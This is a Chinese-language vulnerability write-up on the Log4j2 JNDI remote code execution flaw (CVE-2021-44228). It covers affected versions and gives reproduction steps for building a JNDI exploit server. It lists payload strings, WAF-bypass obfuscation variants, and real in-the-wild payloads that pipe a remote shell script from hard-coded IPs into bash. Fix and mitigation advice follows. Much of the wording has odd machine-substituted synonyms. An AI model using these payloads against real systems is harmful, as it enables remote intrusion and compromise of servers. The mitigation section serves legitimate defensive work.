破绽描绘

Apache Log4j2是一款优秀的Java日志框架。近日，破绽银行平安团队留意到了Apache Log4j2远程代码执行破绽。由于Apache Log4j2某些功用存在递归解析功用，攻击者可直接结构歹意恳求，触发远程代码执行破绽。破绽应用无需特殊配置，经破绽银行平安团队考证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。破绽银行提示 Apache Log4j2 用户尽快采取平安措施阻止破绽攻击。CVE-2021-44228
 

影响版本

Apache Log4j 2.x <= 2.14.1
 

破绽复现

https://github.com/tangxiaofeng7/apache-log4j-poc

搭建JNDI效劳器

1、下载github上的JNDI

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

2、装置maven（ubuntu16.04）

apt install maven

3、编译JNDI

mvn clean compile

mvn clean package

4、执行JNDI

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A 本机IP

5、判别目的jdk
猜想目的jdk为1.8以上
运用1.8以上的ldap效劳

 

执行payload

1、执行payload（来源github）

${jndi:ldap://ip:port/xxx}

写入觉得跟log4j组件日志记载有交互的输入框或者参数，然后恳求

2、查看ldap效劳器，的确有恳求，阐明存在反序列化破绽

3、反弹效劳器返回bashshell

绕过rc1

例如：

${jndi:ldap://127.0.0.1:1389/ badClassName}

绕过WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}

${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}

${jndi:rmi://adsasd.asdasd.asdasd}

${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

参考

${jndi:ldap://80.71.158.12:5557/Basic/Command/Base64/KGN1cmwgLXMgODAuNzEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xIC1PLSA4MC43MS4xNTguMTIvbGguc2gpfGJhc2g=}



Decoded:

(curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash



wget http://62.210.130.250/lh.sh;chmod +x lh[.]sh;./lh.sh

http://62.210.130.250/lh.sh

修复倡议

1、目前官方已发布测试版本修复该破绽，受影响用户可先将Apache Log4j2一切相关应用到最新的 log4j-2.15.0-rc1 版本，地址：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1（注：由于此版本非正式发行版，可能呈现不稳定的状况，倡议用户在备份数据后再停止晋级。）

2、晋级供给链中已知受影响的应用及组件：Apache Solr、Apache Flink、Apache Druid、srping-boot-strater-log4j2
 

暂时处理计划

1)设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”

2)设置“log4j2.formatMsgNoLookups=True”
3)系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”

4)倡议JDK运用11.0.1、8u191、7u201、6u211及以上的高版本
5)关闭对应应用的网络外连，制止主动外连

感谢您的来访，获取更多精彩文章请收藏本站。